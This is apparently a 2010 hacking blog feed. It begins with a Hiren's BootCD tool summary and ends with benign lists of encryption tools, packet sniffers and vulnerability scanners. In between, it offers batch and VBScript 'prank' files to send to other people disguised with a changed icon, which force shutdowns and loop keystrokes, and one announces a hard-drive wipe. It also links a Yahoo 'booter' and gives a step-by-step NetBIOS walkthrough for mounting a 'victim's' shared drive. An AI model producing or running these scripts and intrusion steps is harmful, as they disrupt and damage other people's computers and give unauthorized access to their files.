There are several backup and recovery tools on Hiren's BootCD. Backup tools like GetDataBack, HDD Scan, Partition Find and Mount, PhotoRec, Recuva, Undelete... let you copy data off of your hard drive and schedule automatic backups to ensure your data is saved to another location. You can also recover deleted data, whether that data was deleted intentionally or accidentally. There are also a few tools that will help you recover data from damaged or corrupted portions of your hard drive if you are unable to recover them through other methods.

Testing Tools
Hiren's BootCD provides a variety of tools for testing different aspects of your computer. If you suspect that your RAM is corrupted or that a piece of hardware on your machine is not functioning properly, there are several applications you can run to determine the problems. You can also perform hard drive tests to see whether your hard drive is physically damaged, and get a report on how much longer your hard drive is expected to work.
Password Tools
Password recovery and modification tools are also provided on Hiren's BootCD. You can change the administrator password on Windows machines, and there are utilities for saving passwords for your online accounts in an encrypted format. You can also encrypt your entire hard drive with Hiren's BootCD so that a password is required to read or write any data from or to your hard drive.

Changes from Hiren's BootCD 10.5 to 10.6

Update Checker 1.037, + Speccy 1.02.156, + BootICE 0.78, + MyUninstaller 1.65, + SearchMyFiles 1.47, + Glary Registry Repair 3.3.0.852, + HDHacker 1.4, + Delete Doctor 2.2, + Write Protect USB Devices, + Protect a Drive from Autorun Virus, + SumatraPDF 1.1, + RegShot 1.8.2, + KeyTweak 2.3.0, + Bart's Stuff Test 5.1.4 - Partition Magic, - Drive Image 2002, - Easy Recovery Opera Web Browser 9.27, SuperAntispyware 4.39.1002 (2606), SpywareBlaster 4.3 (2606), Malwarebytes Anti-Malware 1.46 (2606), Spybot - Search & Destroy 1.6.2 (2606), DriveImageXML 2.14, 7-Zip 9.15b, Total Commander 7.55, CCleaner 2.33.1184, MBRWizard 3.0.48, CurrPorts 1.81, Network Password Recovery 1.24, Defraggler 1.20.201, Bulk Rename Utility 2.7.1.2, RIPLinux 9.8, GParted Partition Editor 0.6.0b2, ProduKey 1.41, Process Explorer 12.04, DiskCryptor 0.9, Autoruns 10.01, PCI 32 Sniffer 1.4 (2606), SIW 2010.0428, UnknownDevices 1.4.20 (2606), Astra 5.46, HWiNFO 5.5.0, PCI and AGP info Tool (2606), ComboFix (2606), Dr.Web CureIt! Antivirus (2606)

Download

10 Most Dangerous Scripts To Prank Your Friend :)

noreply@blogger.com (Manpreet) — Fri, 21 May 2010 15:17:00 +0000

ALL OF THEZE COMMANDZ ARE TO BE TYPED IN NOTEPAD...

--- --- --- --- --- --- --- --- ---
1) Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
Save it as "Anything.BAT" in All Files and send it.
2) Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.
3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.
6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it.
8. Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it.
9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it.
You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

Yahoo Booter

noreply@blogger.com (Manpreet) — Fri, 21 May 2010 15:15:00 +0000

for downloads YMSG12ENCRYPT.dll
click here

and download Kingstaa Boot v1 - Yahoo booter
here

Hack Any Game With GameGain ( Make Games Run Faster)

noreply@blogger.com (Manpreet) — Wed, 19 May 2010 16:03:00 +0000

GameGain 2.2.22.2010 | 1.62 Mb

GameGain is a tool that optimizes your system's performance and makes your games run better.GameGain is based off our popular PCMedik software GameGain differentiates itself by focusing entirely on gaming performance upgrades only.Playing computer games that run entirely too slow or show poor performance? GameGain attempts to solve such problems and at the same time increase computing performance.

GameGain boosts
your computer gaming performance by modifying several system settings, so you can now use that old computer or new computer of yours as your primary gaming station. No installation or modification needs to be made to your hardware, GameGain does all the complicated settings for you instantly.

GameGain works on all 32 bit platforms of Windows. From Windows 95 up to the latest Windows XP you will enjoy the benefits that GameGain will bring.

Simply choose your operating system, select the processor type you're using and then choose the speed setting you want and hit the 'GO' button and you will notice performance increases for gaming that your computer has never seen before.

We wont promise that GameGain will do wonders and make your computer work at astronomical speeds, but you will notice your computer working much smoother and overall performance greatly improved.

Here are some key features of "GameGain":

· Makes direct changes to system registry and system files to enhance memory, screen drawing, animations, refresh rates, cpu threading speeds.
· Automatically adjusts settings and changes made based on computer specifications, complete fault tolerance system implemented.
· Proven technology which can double the frames per second rate in games such as id Software's DOOM 3 and similar shooters.
· Deep system analyzer and diagnostic features which attempt to find and repair any potential problems with the computer affecting its performance.
· Advanced software based over-clocking features to enhance memory and cpu priorities.
· Easy and intuitive user interface which performs all setting changes immediately.
· Try before you buy licensing with FREE lifetime upgrades and quality technical support.

Download Link

Best Hacking Collection 34 in 1 AIO (Must Have)

noreply@blogger.com (Manpreet) — Wed, 19 May 2010 15:56:00 +0000

Best Hacking Collection 34 in 1 AIO

137.37 MB

Contains

BlueTooth Hacking
Ethical Hacking
Google Hacks
Hack and Crack
Hack Attacks Revealed
Hack Attacks Testing How To Conduct Your Own Security Audit
Hack IT Security Through Penetration Testing
Hack Proofing Your Network Internet Tradecraft
Hack Proofing Your Network Second Edition
Hack Proofing Your Web Server
Hack The Net
Hack Xbox 360
Hackers Black Book
Hacking Firewalls And Networks How To Hack Into Remote Computers
Hacking a Coke Machine
Hacking and Network Defense
Hacking for Dummies
Hacking Intranet Websites
Hacking Techniques
Hacking The Cable Modem
Hacking The Linux
Hacking Web Applications
Hacking Windows XP
Hacking PSP
Kevin Mitnick The Art of Deception
Kevin Mitnick The Art of Intrusion
Network Security Hacks Tips and Tools For Protecting Your Privacy
PayPal Hacks
PC Hacks
Simple Hacks Addons, Macros And More
The Database Hacker Handbook Defending Database Servers
Wireless Hacking
Wireless Network Hacks and Mods for Dummies

Download Links

Link 1(Part 1)

Link 2(Part 2)

How to Hack a PC Step by Step

noreply@blogger.com (Manpreet) — Fri, 02 Apr 2010 15:32:00 +0000

NetBios hacking for windows 95/98/ME/NT/XP

Step 1
Get a IP (range) scanner. (superscanner is a fast one).
Scan the victim's ip on TCP/IP port 139

Step 2
Open a dos prompt
Do this by going to start/run
enter command.com and press ok

this is what you see:
c:windows>

This is what you need to type down:
[HIDE-REPLY]
Replace 255.255.255.255 with the victims IP address.

c:windows>nbtstat -a 255.255.255.255

If you see this your in:

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------------------------
user<00> UNIQUE Registered
workgroup <00> GROUP Registered

user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = xx-xx-xx-xx-xx-xx
---------------------------------------------------------------

If you don't get the number <20>.
The victim disabled the File And Printer Sharing, find a another victim.

Step 3

type down:

c:windows>net view 255.255.255.255

if the output is like this:

Shared resources at 255.255.255.255
ComputerNameGoesHere

Sharename Type Used as Comment

------------------------------------------------------------
CDISK Disk xxxxx xxxxx

The command completed successfully.

"DISK" shows that the victim is sharing a Disk named as CDISK

Step 4

type down:
you can replace x: by anything letter yopu want but not your own drive letters.
CDISK is the name of the shared harddrive.

c:windows>net use x: 255.255.255.255CDISK

If the command is successful we will get the confirmation.
The command was completed successfullly

Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:> . Now your are a small time hacker.
Good luck.

Encryption Tools

noreply@blogger.com (Manpreet) — Tue, 30 Mar 2010 16:01:00 +0000

GnuPG / PGP :- Secure your files and communication with the advanced encryption. PGP is the famous encryption program by Phil Zimmerman which helps secure your data from eavesdroppers and other risks. GnuPG is a very well-regarded open source implementation of the PGP standard (the actual executable is named gpg). While GnuPG is always free, PGP costs money for some uses.

OpenSSL :- The premier SSL/TLS encryption library. The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured, and open source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. The project is managed by a worldwide community of volunteers that use the Internet to communicate, plan, and develop the OpenSSL toolkit and its related documentation.

Tor :- An anonymous Internet communication system Tor is a toolset for a wide range of organizations and people that want to improve their safety and security on the Internet. Using Tor can help you anonymize web browsing and publishing, instant messaging, irc, ssh, and other applications that use the TCP protocol. Tor also provides a platform on which software developers can build new applications with built-in anonymity, safety, and privacy features.

Stunnel :- A general-purpose SSL cryptographic wrapper. The stunnel program is designed to work as an SSL encryption wrapper between remote client and local or remote server. It can be used to add SSL functionality to commonly used inetd daemons like POP2, POP3, and IMAP servers without any changes in the programs' code.

OpenVPN :- A full-featured SSL VPN solution. OpenVPN is an open-source SSL VPN package which can accommodate a wide range of configurations, including remote access, site-to-site VPNs, WiFi security, and enterprise-scale remote access solutions with load balancing, failover, and fine-grained access-controls. OpenVPN implements OSI layer 2 or 3 secure network extension using the industry standard SSL/TLS protocol, supports flexible client authentication methods based on certificates, smart cards, and/or 2-factor authentication, and allows user or group-specific access control policies using firewall rules applied to the VPN virtual interface. OpenVPN uses OpenSSL as its primary cryptographic library.

TrueCrypt :- Open-Source Disk Encryption Software for Windows and Linux. TrueCrypt is an excellent open source disk encryption system. Users can encrypt entire filesystems, which are then on-the-fly encrypted/decrypted as needed without user intervention beyond entering their passphrase intially. A clever hidden volume feature allows you to hide a 2nd layer of particularly sensitive content with plausible deniability about whether it exists. Then if you are forced to give up your passphrase, you give them the first-level secret. Even with that, attackers cannot prove that a second level key even exists.

Packet Sniffers

noreply@blogger.com (Manpreet) — Sun, 28 Mar 2010 06:28:00 +0000

Ethereal :- This (also known as Wireshark) is a fantastic open source network protocol analyzer for Unix and Windows. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need. Ethereal has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session. It also supports hundreds of protocols and media types.

Download link

Kismet :- A powerful wireless sniffer. Kismet is a console based 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. It identifies networks by passively sniffing, and can even decloak hidden networks if they are in use. It can automatically detect network IP blocks by sniffing TCP, UDP, ARP, and DHCP packets, log traffic in Wireshark/TCPDump compatible format, and even plot detected networks and estimated ranges on downloaded maps.

Download link

Tcpdump :- The classic sniffer for network monitoring and data acquisition. It is great for tracking down network problems or monitoring activity. There is a separate Windows port named WinDump. TCPDump is the source of the Libpcap/WinPcap packet capture library.

Download link

Ettercap :- Ettercap is a terminal-based network sniffer/interceptor/logger for ethernet LANs. It supports active and passive dissection of many protocols (even ciphered ones, like ssh and https). Data injection in an established connection and filtering on the fly is also possible, keeping the connection synchronized. Many sniffing modes were implemented to give you a powerful and complete sniffing suite. Plugins are supported. It has the ability to check whether you are in a switched LAN or not, and to use OS fingerprints (active or passive) to let you know the geometry of the LAN.

Download link

DSniff :- A suite of powerful network auditing and penetration-testing tools. This popular and well-engineered suite by Dug Song includes many tools. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.). arpspoof, dnsspoof, and macof facilitate the interception of network traffic normally unavailable to an attacker (e.g, due to layer-2 switching). sshmitm and webmitm implement active monkey-in-the-middle attacks against redirected ssh and https sessions by exploiting weak bindings in ad-hoc PKI. Overall, this is a great toolset. It handles pretty much all of your password sniffing needs.

Download link

Vulnerability Scanners

noreply@blogger.com (Manpreet) — Thu, 25 Mar 2010 06:47:00 +0000

Nessus :- Premier UNIX vulnerability assessment tool
Nessus is the best free network vulnerability scanner available, and the best to run on UNIX at any price. It is constantly updated, with more than 11,000 plugins for the free (but registration and EULA-acceptance required) feed. Key features include remote and local (authenticated) security checks, a client/server architecture with a GTK graphical interface, and an embedded scripting language for writing your own plugins or understanding the existing ones.

Download link

GFI LANguard :- A commercial network security scanner for Windows
GFI LANguard scans IP networks to detect what machines are running. Then it tries to discern the host OS and what applications are running. I also tries to collect Windows machine's service pack level, missing security patches, wireless access points, USB devices, open shares, open ports, services/applications active on the computer, key registry entries, weak passwords, users and groups, and more. Scan results are saved to an HTML report, which can be customized/queried. It also includes a patch manager which detects and installs missing patches.

Download link

Retina :- Commercial vulnerability assessment scanner by eEye
Like Nessus, Retina's function is to scan all the hosts on a network and report on any vulnerabilities found. It was written by eEye, who are well known for their security research.

Download link

Core Impact :- An automated, comprehensive penetration testing product. it is widely considered to be the most powerful exploitation tool available. It sports a large, regularly updated database of professional exploits, and can do neat tricks like exploiting one machine and then establishing an encrypted tunnel through that machine to reach and exploit other boxes.

Download link

ISS Internet Scanner :- Application-level vulnerability assessment
Internet Scanner started off in '92 as a tiny open source scanner by Christopher Klaus. Now he has grown ISS into a billion-dollar company with a myriad of security products.

Download link

SARA :- Security Auditor’s Research Assistant
SARA is a third generation network security analysis tool that Operates under Unix, Linux, MAC OS/X or Windows. The first generation assistant, the Security Administrator's Tool for Analyzing Networks (SATAN) was developed in early 1995. It became the benchmark for network security analysis for several years. However, few updates were provided and the tool slowly became obsolete in the growing threat environment.

Download link